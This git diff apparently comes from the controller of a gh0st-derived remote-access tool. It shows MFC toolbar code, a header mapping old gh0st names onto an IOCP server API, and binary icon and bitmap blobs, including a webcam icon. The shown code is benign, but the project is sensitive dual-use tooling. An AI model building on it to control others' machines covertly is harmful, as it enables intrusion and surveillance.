LRESULT *plr) +void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr) { - NMTOOLBARA * pnmtbb=(NMTOOLBARA *)pnmtb; + NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh; for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) { - + stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i); - if (DropDownInfo.uButtonID == UINT(pnmtbb->iItem)) { + if (DropDownInfo.uButtonID == UINT(pnmtb->iItem)) { CMenu menu; menu.LoadMenu(DropDownInfo.uMenuID); CMenu* pPopup = menu.GetSubMenu(0); - + CRect rc; - SendMessage(TB_GETRECT, (WPARAM)pnmtbb->iItem, (LPARAM)&rc); + SendMessage(TB_GETRECT, (WPARAM)pnmtb->iItem, (LPARAM)&rc); ClientToScreen(&rc); - + pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL, - rc.left, rc.bottom, DropDownInfo.pParent, &rc); + rc.left, rc.bottom, DropDownInfo.pParent, &rc); break; } } -} +} \ No newline at end of file diff --git a/server/2015Remote/TrueColorToolBar.h b/server/2015Remote/TrueColorToolBar.h index 4f057b6..c0da265 100644 --- a/server/2015Remote/TrueColorToolBar.h +++ b/server/2015Remote/TrueColorToolBar.h @@ -31,11 +31,11 @@ class CTrueColorToolBar : public CToolBar { - // Construction +// Construction public: CTrueColorToolBar(); - // Attributes +// Attributes private: BOOL m_bDropDown; @@ -45,30 +45,37 @@ private: UINT uMenuID; CWnd* pParent; }; - + CArray m_lstDropDownButton; - - // Operations + +// Operations public: BOOL LoadTrueColorToolBar(int nBtnWidth, - UINT uToolBar, - UINT uToolBarHot = 0, - UINT uToolBarDisabled = 0); + UINT uToolBar, + UINT uToolBarHot = 0, + UINT uToolBarDisabled = 0); void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID); private: BOOL SetTrueColorToolBar(UINT uToolBarType, - UINT uToolBar, - int nBtnWidth); + UINT uToolBar, + int nBtnWidth); - // Implementation +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CTrueColorToolBar) + //}}AFX_VIRTUAL + +// Implementation public: virtual ~CTrueColorToolBar(); // Generated message map functions protected: - afx_msg void OnToolbarDropDown(NMHDR * pnmh, LRESULT* plRes); + //{{AFX_MSG(CTrueColorToolBar) + afx_msg void OnToolbarDropDown(NMHDR* pnmh, LRESULT* plRes); + //}}AFX_MSG DECLARE_MESSAGE_MAP() }; diff --git a/server/2015Remote/gh0st2Remote.h b/server/2015Remote/gh0st2Remote.h new file mode 100644 index 0000000..60f9f5e --- /dev/null +++ b/server/2015Remote/gh0st2Remote.h @@ -0,0 +1,35 @@ +/************************************************************************ +* @file gh0st2Remote.h +* @brief 将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar +* 还原到gh0st最初版本。 +************************************************************************/ + +#pragma once + +#include "IOCPServer.h" + +typedef IOCPServer CIOCPServer; + +typedef CONTEXT_OBJECT ClientContext; + +typedef struct +{ + DWORD dwSizeHigh; + DWORD dwSizeLow; +}FILESIZE; + +#define m_DeCompressionBuffer InDeCompressedBuffer + +#define GetBufferLen GetBufferLength + +#define m_Dialog hDlg + +#define m_Socket sClientSocket + +#define Send OnClientPreSending + +#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) + +#define MAX_WRITE_RETRY 15 // 重试写入文件次数 +#define MAX_SEND_BUFFER 1024 * 8 // 最大发送数据长度 +#define MAX_RECV_BUFFER 1024 * 8 // 最大接收数据长度 diff --git a/server/2015Remote/res/1.cur b/server/2015Remote/res/1.cur new file mode 100644 index 0000000000000000000000000000000000000000..10c75c4d55fd8d444ea34eb77676bff01b202339 GIT binary patch literal 326 zcmb8pF$w}P5QX6vS5ZOGO6; CHftUL literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/2.cur b/server/2015Remote/res/2.cur new file mode 100644 index 0000000000000000000000000000000000000000..7cfd168008472e9422964a8347ddca46a3a23aca GIT binary patch literal 326 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 literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/Bitmap_5.bmp b/server/2015Remote/res/Bitmap_5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..e2823751422360bf0c9084982627ca1db03bbbc8 GIT binary patch literal 10422 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 literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/gh0st.ico b/server/2015Remote/res/gh0st.ico new file mode 100644 index 0000000000000000000000000000000000000000..009c10b6eef1a151f67e03e6f0fa7246dbdc9ea8 GIT binary patch literal 766 zcmZ`%F;2uV5S#$QDG=$POiD@~fE0dnZMx8%JG(&Q34A3diu;B;D6dR$Vwtrg+elz% z>>cme>xm3B?89&cZC@9_9p?vPAfAZ^DF^2MZWiDNYtzJ$Az`sB3lkDQh-gHx>yi$+ z%{hvJGgH0b-Bb&lcXKUJUJI1hg2*d@^Y=41%)D0QA9~0qYx;ZfsG!wVJ^N3_{^g}+%|?Gm{Y>tWFWxh@tG`1$EcouV Te~{qIcToOrUx4*p!;Rzt|5dfv literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/system.ico b/server/2015Remote/res/system.ico new file mode 100644 index 0000000000000000000000000000000000000000..a2b3fa284afbdcd36532218b7182a9ebb83adda4 GIT binary patch literal 766 zcmb_ayKTcT5Pb?0kbnxNO6@YGM({}Nl=57eTVw@qKmi%RE5uz&l`-g#l3}HobDTs$7-}R+wudHa!1MDaSAG3neQJ5l3tr%d+2!Dt3?!A;9M^${RBYyyI^RpKK literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/toolbar1.bmp b/server/2015Remote/res/toolbar1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a9b85107f8ffe6e122abe3748b847c324cff8ed2 GIT binary patch literal 1846 zcmZ?rHDhN0gEAng0mKu4SOSO{8CZZM1H%C}FolI^U|;|uhK2?R1tft?h64u<0BMlK ke=uVB{~yExVju(w0g3WaFd71*Aut*OqaiRF0z)ta0QECEe*gdg literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/toolbar2.bmp b/server/2015Remote/res/toolbar2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a9b85107f8ffe6e122abe3748b847c324cff8ed2 GIT binary patch literal 1846 zcmZ?rHDhN0gEAng0mKu4SOSO{8CZZM1H%C}FolI^U|;|uhK2?R1tft?h64u<0BMlK ke=uVB{~yExVju(w0g3WaFd71*Aut*OqaiRF0z)ta0QECEe*gdg literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/webcam.ico b/server/2015Remote/res/webcam.ico new file mode 100644 index 0000000000000000000000000000000000000000..5790f1755b3a63c540f5a374bd4c29f017b4a0d2 GIT binary patch literal 24190 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 